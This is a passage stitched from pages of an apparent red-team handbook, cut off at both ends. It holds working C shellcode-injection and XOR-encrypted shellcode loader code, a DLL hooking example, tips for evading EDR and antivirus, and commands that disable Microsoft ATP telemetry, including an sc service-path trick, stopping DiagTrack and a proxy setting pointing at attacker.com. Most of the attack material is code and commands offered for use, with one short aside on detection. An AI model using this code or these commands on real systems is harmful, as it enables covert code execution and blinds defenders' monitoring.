0x4c, 0x8d, 0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x70, 0x65, 0x61, 0x6b, 0x61, 0x62, 0x6f, 0x6f, 0x00 }; unsigned int pay_len = sizeof(shellcode); DWORD FindProcessPid(const char* name) { PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // takes a snapshot of all the processes running in the system if (hSnapshot) { if (Process32First(hSnapshot, &pe32)) // from the snapshot of the processes, we extract the process name { do { if (strcmp(pe32.szExeFile, name) == 0) // compares the process name, with our user supplied name { return pe32.th32ProcessID; // if its the same, return the process id } } while (Process32Next(hSnapshot, &pe32)); CloseHandle(hSnapshot); } } return -1; // returns negative one if the process is not found } int main(void) { int pid = FindProcessPid("notepad.exe"); printf("notepad Pid is %d\n", pid); getchar(); HANDLE hProc = NULL; LPVOID pRemoteCode = NULL; HANDLE hThread = NULL; HANDLE han_proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD)pid); void *pRem = VirtualAllocEx(han_proc, NULL, pay_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(han_proc, pRem, (PVOID)shellcode, (SIZE_T)pay_len, (SIZE_T*)NULL); CreateRemoteThread(han_proc, NULL, 0, (LPTHREAD_START_ROUTINE)pRem, NULL, 0, NULL); CloseHandle(han_proc); return 0; } Alright, so lets see this in action. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-HhSXJB0zBMVTaARm%252F-Mh-Jvx8N__qJ0Si__oZ%252Fimage.png%3Falt%3Dmedia%26token%3D2f7a7767-493c-4025-bd97-94e61f839896&width=768&dpr=3&quality=100&sign=fbcb3207&sv=2) ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-HhSXJB0zBMVTaARm%252F-Mh-K-laplqsjuVGo4RM%252Fimage.png%3Falt%3Dmedia%26token%3Df40c74dd-0469-43eb-a8ba-ead253cd09fc&width=768&dpr=3&quality=100&sign=a5d1007d&sv=2) As we can see, the PIDs match. Lets press enter and see what happens next. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-HhSXJB0zBMVTaARm%252F-Mh-K8OY-nWp-cSuQgDX%252Fimage.png%3Falt%3Dmedia%26token%3D91d72333-0d8c-4286-aba1-cd64fea7c221&width=768&dpr=3&quality=100&sign=b2b76d29&sv=2) In our notepad process, we will get a peakaboo message box, which is what our shellcode does when ran. We have successfully injected shellcode into a remote process. Now, I forgot to print out the address of the allocated memory, but we can easily identify it by looking at RWX sections in our code. Lets take a look at process hacker and try to find our allocated memory with our shellcode in the notepad process. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-HhSXJB0zBMVTaARm%252F-Mh-KdQlShiIIp4bivqX%252Fimage.png%3Falt%3Dmedia%26token%3D00fe68d0-0520-49e5-b857-410ecb1698cd&width=768&dpr=3&quality=100&sign=fe6f24eb&sv=2) As we can see, at address 0x22aa5ce000 is the memory address that stores our shellcode. We know this is our shellcode because of the peakaboo bytes at the end. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-HhSXJB0zBMVTaARm%252F-Mh-Pd_FKk2DkGeqMwty%252Fimage.png%3Falt%3Dmedia%26token%3Dc0f2f0e4-12b0-47ca-915c-3ef75f1f49c1&width=768&dpr=3&quality=100&sign=7abd9536&sv=2) We can also see the running threads of notepad in process hacker. We can see our remote thread that we called which is represented by "RtlUserThreadStart": ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-HhSXJB0zBMVTaARm%252F-Mh-MFYPPhr8TtRyCDnN%252Fimage.png%3Falt%3Dmedia%26token%3D91d9eea7-671b-4f7f-9aac-02fb7ba5cdfc&width=768&dpr=3&quality=100&sign=cca17a0b&sv=2) A potential detection technique is to look at what addresses your threads point to, if they point to this weird heap allocated block of memory, chances are that these are malicious and you can then scan that memory for any shellcode signatures(or just flag it). We can enumerate all threads, and find all the threads that don't point back into legit text sections, and raise an exception if they don't. This is what getinjectethread does. Let's try running that out and see if our malware gets detected: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-HhSXJB0zBMVTaARm%252F-Mh-O_yiNnH14ABylLB1%252Fimage.png%3Falt%3Dmedia%26token%3D46337cc5-2b5b-45c6-be98-b7751d5c8c05&width=768&dpr=3&quality=100&sign=d083584f&sv=2) Oh no(or oh yeah)! our Malware has been detected. But as attackers, there are 2 things we can do to make our thread look legitimate and not be flagged by getinjectedthread. 1. ROP chains 2. SetThreadContext I won't go into much detail here because this was just supposed to be a simple lab(ish), but there is a wonderful blog by XPNsec which goes into more detail into getinjectedthread and evading it: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fblog.xpnsec.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=f5af23b1&sv=2)@\_xpn\_ - Understanding and Evading Get-InjectedThreadXPN Infosec Blog](https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/) [PreviousDetours](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking/detours) [NextDLL Injection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/dll-injection) Last updated 5 years ago --- # Detours | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking/detours.md) . Detours is a library that allows you to hook functions and instrument arbitrary win32 function by proxying them and re-writing the function. Detours works by using a jmp instruction to redirect code execution. Detours has a whitepaper which goes into further detail. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgRwSKv4hcsVmk0uDn0%252F-MgRzPBduczg6WoPZsER%252Fimage.png%3Falt%3Dmedia%26token%3De587b5cb-3195-4354-8eae-b6a169997cd1&width=768&dpr=3&quality=100&sign=ba34b212&sv=2) This uses a trampoline function which is a like a proxy and setups everything properly. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MgRwSKv4hcsVmk0uDn0%252F-MgRzWG3-K5C0XpLLqWN%252Fimage.png%3Falt%3Dmedia%26token%3Df4a06210-09cd-4e2d-8172-4ecbd5329d58&width=768&dpr=3&quality=100&sign=7375321f&sv=2) With hooking, we can: look at values that the function uses, make it return a certain value, or execute someone etc. Example[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking/detours#example) ------------------------------------------------------------------------------------------------------------- To demonstrate, lets try hooking a simple message box function. We will inject a dll into the process that uses the message box, our dll will look like this. First, we make a pointer to the original MessageBox Then, we create the "hooking function", which is the function that will replace the original message box. Then, when our dll gets attached, we will being hooking with this code. And when our dll gets detached, we will unhook the code. For our injector, we can use a simple dll injector or use Process hacker to inject a dll. Our next step is to then inject our dll into the target process with the messagebox function and resume execution by entering a key to get through getchar(). When injected, this DLL will change the message that the messagebox popups during execution. [PreviousHooking](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/hooking) [NextCreateRemoteThread](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/createremotethread) Last updated 5 years ago Copy #include #include #include int main(void){ getchar(); MessageBox(NULL, L"Hello world!", L"detour", MB_OK); return 0; } Copy #include #include #include static int (WINAPI* NativeMessageBox)( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType ) = MessageBox; int WINAPI MyMessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) { return NativeMessageBox(hWnd, L"Hooked", lpCaption, uType); } BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved) { switch (dwReason) { case DLL_PROCESS_ATTACH: DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)NativeMessageBox, MyMessageBox); DetourTransactionCommit(); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)NativeMessageBox, MyMessageBox); DetourTransactionCommit(); break; } return TRUE; } Copy static int (WINAPI* NativeMessageBox)( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType ) = MessageBox; Copy int WINAPI MyMessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) { return NativeMessageBox(hWnd, L"Hooked", lpCaption, uType); } Copy DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourAttach(&(PVOID&)NativeMessageBox, MyMessageBox); DetourTransactionCommit(); Copy DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)NativeMessageBox, MyMessageBox); DetourTransactionCommit(); --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/tips-and-tricks.md). # Tips and Tricks \* EDRs love scanning RWX memory, so use: RW -> RX \* Try to use apis closer to the kernel so that products have less telemetry over your apis and you have more api mixups to use. Examples are: \`\`\` CreateRemoteThread RtlCreateUserThread QueueUserAPC: ResumeThread or NtResumeThread or NtAlertResumeThread NtQueueApcThread: ResumeThread or NtResumeThread or NtAlertResumeThread \`\`\` \* Avoid calling functions against common parameters. For example, you can do something like this: \* \*\*address = VirtualAlloc(1000)\*\* \* \*\*virtualprotect(addr+50)\*\* \* \*\*memcpy(address+100)\*\* \* \*\*createthread(address + 200)\*\* \* Try include obscure flags in OpenProcess calls \* Try to duplicate existing handles on the machine instead of creating new ones with NtQuerySystemInformation \* Inject from noisy contexts like from SYSTEM or csrss.exe \* Encrypt/change your permissions of your payload and modules if not in use --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics.md). # Basics The fundamentals of AV evasion. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/blocking-disabling-telemetry.md). # Blocking/Disabling Telemetry This demonstrates some ways to stop and disable ATP to get rid of telemetry.(This techniques could also all apply to other security products) Note that even if we are system, we cannot stop the ATP process. You need a special offboarding script with a SHA356 signed key. This script is only valid for 10 days before expiration. ATP processes also has PPL enabled, meaning that we cannot stop or inject into this process to cripple it. Note that we can use the PPLKiller or Mimikatz driver to disable the PPL protection of a process, and then proceed to stop/kill it. If we remove the PPL protection and the MsSense service restarts, it will alert on PPL tampering, but we can again bypass this by just changing the binpath of the MsSense service after we kill it: \`\`\` sc config TrustedInstaller binPath="cmd.exe /C sc config sense binPath='blank'" && sc start TrustedInstaller \`\`\` ## Stopping Diagtrack The ATP sensor uses the DiagTrack service to communicate to the cloud. If we query the service, we can see that it is configured as "STOPPABLE" and does not have any PPL protections: !\[\](/files/-MgsK938Olc660VpCDfV) !\[\](/files/-MgsKHtf5oQ3fxloXNTu) To stop this service(as admin): \`\`\` sc stop diagtrack \`\`\` ## Proxy Settings As we already know, ATP uses the DiagTrack service to communicate to the cloud. Diagtrack uses the WinHTTP API to communicate to the cloud, in which we as regular users can supply proxy settings that say "If any WinHTTP API traffic is going to these ATP cloud domains, stop and hold the traffic." This essentially blocks and stops any traffic going to the cloud thus crippling the ATP service. These two registry keys turn off auto detect for the proxy settings, and then supply our proxy settings configuration file which will synchold any traffic going to the ATP cloud: \`\`\` reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" ^ /v AutoDetect /t REG\_DWORD /d 0 /f reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v AutoConfigURL /t REG\_SZ /d "http://attacker.com/wpad.dat" /f \`\`\` Our proxy config file can look something like this: !\[\](/files/-MgsM-6Q1TvPbRmuRmQe) ## DLL Hijacking CNCproxy(which is the main communication module of ATP) is vulnerable to a DLL hijacking vulnerability, in which it first checks the winhttp services dll in it's own folder before loading it from system32. The winhttp services dll is in charge of communication with HTTP servers and the internet. If we supply a bogus dll in its current directory, the communication flow with the cloud will be crippled as it is missing the major functionality to do so. !\[\](/files/-MgsNV8ngUky7\_NRn-JY) !\[\](/files/-MgsNQSopoXv5iGdly5d) ## Firewall Rules We can also set simple firewall rules to block any traffic to any ATP cloud domains. This is pretty self explanatory on why this works. These domains include: \`\`\` Securitycenter.windows.com, winatp-gw-cus.microsoft.com, winatp-gw-eus.microsoft.com, winatp-gw-weu.microsoft.com, winatp-gw-neu.microsoft.com, us.vortex-win.data.microsoft.com,eu.vortex-win.data.microsoft.com,psapp.microsoft.com,psappeu.microsoft.com \`\`\` (and much more!) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/recon.md). # Recon ## Local Recon Common host recon commands could trigger alerts if they are chained due to behavior analysis capabilities. Examples of these commands are: {% embed url="" %} WMI queries are not usually flagged, and logging for them is disabled by default. We can use wmic to issue WMI queries to get info about the host: {% embed url="" %} Host recon via direct windows APIs are usually not detected as this minimizes, an example of what we can do is this: \`\`\` HANDLE hToken; PTOKEN\_USER userInfo; DWORD Length = 0; WCHAR username\[1024\] = { 0 }; WCHAR domain\[1024\] = { 0 }; ImpersonateSelf(SecurityDelegation); OpenThreadToken(GetCurrentThread(), TOKEN\_ALL\_ACCESS, true, &hToken); if (!GetTokenInformation(hToken, TokenUser, userInfo, 4096, &Length)) return 0; LookupAccountSid(NULL, userInfo->User.Sid, username, &Length, domain, &Length, ... \`\`\` ## Domain/Remote Recon DNS recon(fierce, nslookup etc.) as well as SAMR protocol recon like "net user /domain" will be caught to due the amount of traffic it sends to the DC(where ATA is running). It's also pretty abnormal for these commands to be ran by a regular user too. We can subvert the detection of DNS recon by just limiting the amount of commands we run, but there are better and more efficient ways to gather info. One way to get information about the domain, is to enumerate remotely by adding \`/NODE:"SERVER"\` to your wmic queries. Ex. \`\`\` wmic /NODE:"SERVER" /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get \* \`\`\` Using LDAP to gather AD info can reduce the likelihood of detection as this flagging this type of traffic would lead to a high number of false positives due to the fact that this is normal/common traffic. Powerview, and Bloodhound(use ExcludeDC flag to avoid communication to DC to avoid being detected by ATA.) can all be used to achieve domain enumeration. In fact, as long as we just avoid communication with the DC, we can enumerate however we want because ATA has no telemetry over these communications. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ata-atp/intro.md). # Intro ATA/ATP are next generation defense mechanisms that help prevent, detect, investigate to security events. These are post breach defenses that are useful to blue teamers and network defenders due to the large telemetry these security products give you. ATP is analyzes hosts, while ATA analyzes the domain and network traffic. ATP deploys various technologies like \* Endpoint behavioral sensors: collect data and behavioral signals from the OS and send it to the cloud for further analysis. \* Cloud Security Analytics: Uses machine learning from big data sets to detect and respond to threats. \* Parent child analysis: This gives you a tree of the parent child relationships that processes have which can be used to detect malicious behavior \* Attack path graphing: You can follow an attack path like if one process starts another process and uses that to execute commands or if they laterally move throughout the network, you can see this type of relation \* Host Isolation and File Quarantine: You can quarantine a certain file on multiple boxes or isolate a host from the network if the operator thinks the computer is infected with suspicious activity \* Threat Intelligence: Identifies TTPs by using collected data from previous/other attacks \* Detection of malicious use of APIs via EtwTI \* Integration with other Defender brand protections like: Credential guard, Exploit guard, Application Guard, Device Guard, Windows Firewall(Makes firewall rules to block C2 traffic)etc. \* Integration with Other OS's like Linux \* Integration with ATA In terms of PowerShell: \* It can detect heavily obfuscated PowerShell cradles from invoke-obfuscation and such. \* Script block logging \* Transcription Logging \* Module Logging \* "Suspicious strings" \* CLM \* Just enough Admin support \* AMSI \* No way to downgrade to PowerShell version 2 \* System-wide transcripts \* These are all built into the PowerShell framework core ATA is domain based security product which is designed to detect AD: recon, credential attacks, lateral movement, domain dominance etc. It captures and parses multiple protocols such as Kerberos, DNS, RPC, NTLM, and others to detect malicious activity. This information is collected in 2 ways: 1. Port mirroring traffic on DCs and DNS servers 2. Or deploy a light weight gateway directly on DCs This is a high level overview of how ATA works. !\[\](/files/-MgYcFI8Zwht49eZ8CR-) 1. ATA has a console UI which runs on top of the ATA center 2. ATA gateways, these are full gateways that either gather mirrored port traffic or is a light weight gateway installed directly on a DC(Basically just gathers traffic) ATA can also be integrated with your SIEM or integrate with your VPN with radius 3. MongoDB database which collects data from the different gateways on the ATA center For more information: {% embed url="" %} ATA gives a very useful overview of what happened in the event of an attack. For example, Microsoft gave an example of what would happen if ATA detected a PTT attack. As we can see, we can see the who, what, where of the attack, the resources the attack accessed, we can also see the history of the machines to get a better insight of the attack and see any suspicious commands and queries that were ran. !\[\](/files/-MgYeGRBZVC4toFLadDg) ATA can detect abnormal user behavior in the sense that a certain user is doing something odd related to their function. For example, if bob from the construction group is suddenly RDPing into every machine, is this malicious traffic or not? Because of this, ATA needs some time to learn to detect attacks and anomalous user behavior to reduce the flagging of false positives. An example of such, is that ATA produces an alarm when a user accesses 4 computers that are not ordinarily accessed this user: !\[\](/files/-MgYv88B-ScLmiUUT4MS) ATA also has the ability to detect security issues and risks like: \* Broken trust \* Weak protocols \* Known protocol vulnerabilities For example: !\[\](/files/-MgYvU0guJa1diYRYd\_j) Note that there may be time delays on generating alerts, complex attacks may take longer to generate an alert while a simple attack may take less time to generate an alert. Because of this, we may be able to do a quick smash and grab attack before ATA/ATP generates an alert and alerts defenses. ## Resources {% embed url="" %} {% embed url="" %} --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/local-exploits.md). # Local Exploits We can look for what patches on windows are installed. If a host is poorly patched, you can get a easy priv esc without having to search for poor configurations in the system. The following lists all patches: \`\`\` wmic qfe get Caption,Description,HotFixID,InstalledOn http://support.microsoft.com/?kbid=2654428 Security Update KB2654428 12/24/2014 http://support.microsoft.com/?kbid=2655992 Security Update KB2655992 12/24/2014 http://support.microsoft.com/?kbid=2656356 Security Update KB2656356 12/24/2014 http://support.microsoft.com/?kbid=2667402 Security Update KB2667402 12/24/2014 http://support.microsoft.com/?kbid=2676562 Security Update KB2676562 12/24/2014 http://support.microsoft.com/?kbid=2685939 Security Update KB2685939 12/24/2014 ... \`\`\` Windows Exploit Suggester compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also tells you if there are public exploits or metasploit modules on said exploit. \`\`\` $ git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git $ ./windows-exploit-suggester.py --update \`\`\` Before it can determine of the system is missing any patches, we need to dump some data from the system. This command can be used \`\`\` systeminfo > comp\_host1.txt \`\`\` We can then transfer this to our machine and run the script: \`\`\` ./windows-exploit-suggester.py --database database.xls --systeminfo comp\_host1.txt \`\`\` An \\\[E\] stands for an exploit has been found in the Off Sec exploit db, and an \\\[M\] stands for the exploit in the metasploit framework: \`\`\` \[M\] MS15-100: Vulnerability in Windows Media Center Could Allow Remote Code Execution (3087918) - Important \[E\] MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql.md). # SQL - \[MS SQL\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql.md) - \[Basics\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/basics.md) - \[Finding Sql Servers\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/finding-sql-servers.md) - \[Privilege Escalation\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/privilege-escalation.md) - \[Post Exploitation\](https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/encrypting-strings.md). # Encrypting Strings Strings are a big indicator of malware and are a big target of most AV's and security products. Here we will make use of encrypting your strings and shellcode to evade detection. We will use XOR encryption to hide our payloads. I have stolen a xor encryptor script from here: {% embed url="" %} This takes a shellcode bin file and xor encrypts it with a random key. \`\`\`python import sys import random import string import os import time def get\_random\_string(): # With combination of lower and upper case length = random.randint(8, 15) result\_str = ''.join(random.choice(string.ascii\_letters) for i in range(length)) # print random string return result\_str def xor(data): key = get\_random\_string() l = len(key) output\_str = "" for i in range(len(data)): current = data\[i\] current\_key = key\[i % len(key)\] o = lambda x: x if isinstance(x, int) else ord(x) # handle data being bytes not string output\_str += chr(o(current) ^ ord(current\_key)) ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))\[2:\] for x in output\_str) + ' };' print(ciphertext) print(key) try: plain = open(sys.argv\[1\], "rb").read() except: print("Failed to read payload file") xor(plain) \`\`\` If you pass your file to this script, you should get a key and your encrypted shellcode in a byte array. To decrypt this, we can use this simple C function in our implants: \`\`\`python void XOR(char\* data, size\_t data\_len, char\* key, size\_t key\_len) { // https://github.com/9emin1/charlotte/blob/main/template.cpp int j = 0; for (int i = 0; i < data\_len; i++) { if (j == key\_len - 1) { j = 0; } data\[i\] = data\[i\] ^ key\[j\]; j++; } } \`\`\` Example of using this XOR function is: \`\`\`cpp #include #include #include #include char shellcode\[\] = { 0x86, 0x32, 0xda, 0x95, 0xb1, 0xbb, 0x82, 0x4c, 0x77, 0x7a, 0x35, 0x4, 0xe, 0x2a, 0x28, 0x8, 0x27, 0x9, 0x62, 0x90, 0x29, 0x3f, 0xf1, 0x26, 0x35, 0x7, 0xf1, 0x28, 0x41, 0x39, 0xca, 0x1, 0x62, 0x4, 0xfc, 0x8, 0x24, 0x1d, 0x40, 0xcd, 0x30, 0x13, 0x3c, 0x70, 0x9a, 0xa, 0x7d, 0xb7, 0xd6, 0x48, 0x34, 0x33, 0x78, 0x56, 0x79, 0x30, 0x80, 0x9a, 0x4f, 0xd, 0x76, 0xbb, 0x96, 0xb8, 0x1d, 0x3b, 0x2b, 0x11, 0xfa, 0x13, 0x73, 0xc9, 0xe, 0x4b, 0x32, 0x75, 0x85, 0xc4, 0xfa, 0xf2, 0x59, 0x71, 0x41, 0x1b, 0xc7, 0x8c, 0x3, 0x1d, 0x3c, 0x54, 0x9f, 0x2a, 0xf1, 0x11, 0x69, 0x5, 0xd8, 0x2, 0x6c, 0x3e, 0x7b, 0xa4, 0xb6, 0x19, 0x32, 0x85, 0x90, 0x30, 0xca, 0x67, 0xca, 0x4, 0x76, 0xac, 0x39, 0x64, 0x86, 0x32, 0x4b, 0x99, 0xdd, 0x0, 0x92, 0x8b, 0x41, 0x36, 0x7b, 0xb5, 0x6d, 0xaf, 0xf, 0x8b, 0x15, 0x72, 0xd, 0x77, 0x4a, 0x9, 0x4e, 0xab, 0x1, 0x8d, 0x17, 0x3e, 0xf1, 0x19, 0x55, 0x8, 0x52, 0x92, 0x2a, 0x36, 0xf1, 0x78, 0x1d, 0xb, 0xf1, 0x3a, 0x45, 0x38, 0x40, 0x83, 0x3, 0xc7, 0x73, 0xf2, 0x3c, 0x54, 0x9f, 0x3b, 0x22, 0x18, 0x29, 0x1f, 0xa, 0x18, 0xd, 0x2f, 0x3b, 0x2d, 0x14, 0x15, 0x32, 0xf9, 0xb5, 0x51, 0x0, 0x1, 0xbd, 0xac, 0x2f, 0x3b, 0x2d, 0xf, 0x7, 0xf1, 0x68, 0xb0, 0x26, 0xbe, 0xac, 0xbd, 0x11, 0x3f, 0xc0, 0x75, 0x55, 0x4f, 0x7a, 0x7a, 0x59, 0x71, 0x41, 0x1b, 0xcf, 0xc1, 0x76, 0x7b, 0x74, 0x55, 0xe, 0xc0, 0x4b, 0xd2, 0x1e, 0xc6, 0xac, 0x97, 0xf7, 0x97, 0x67, 0x5e, 0x5f, 0xe, 0xc0, 0xdc, 0xcc, 0xcc, 0xdc, 0xac, 0x97, 0x4, 0xf4, 0xbe, 0x5c, 0x69, 0x49, 0x6, 0x70, 0xd9, 0x8a, 0xa1, 0x26, 0x47, 0xf7, 0x30, 0x69, 0x6, 0x3a, 0x25, 0x7a, 0x23, 0x18, 0xf8, 0x9b, 0xac, 0x97, 0x2f, 0x16, 0x16, 0x17, 0x7b, 0x2a, 0x2, 0x1f, 0x59 }; int pay\_len = sizeof(shellcode); void XOR(char\* data, size\_t data\_len, char\* key, size\_t key\_len) { // https://github.com/9emin1/charlotte/blob/main/template.cpp int j = 0; for (int i = 0; i < data\_len; i++) { if (j == key\_len - 1) { j = 0; } data\[i\] = data\[i\] ^ key\[j\]; j++; } } int main(void) { char key\[\] = "zzYqASBLwztUO"; void\* exec = VirtualAlloc(0, sizeof(shellcode), MEM\_COMMIT | MEM\_RESERVE, PAGE\_EXECUTE\_READWRITE); XOR((char\*)shellcode, pay\_len, key, sizeof(key)); memcpy(exec, shellcode, sizeof(shellcode)); getchar(); int (\*run)() = (int(\*)())(void\*)exec; run(); return 0; } \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution.md). # Execution - \[Cool ways of Calling a Process\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/cool-ways-of-calling-a-process.md) - \[One Liners\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/execution/one-liners.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery.md). # Vulnerability Discovery - \[Web Vulnerabilities\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities.md) - \[Code 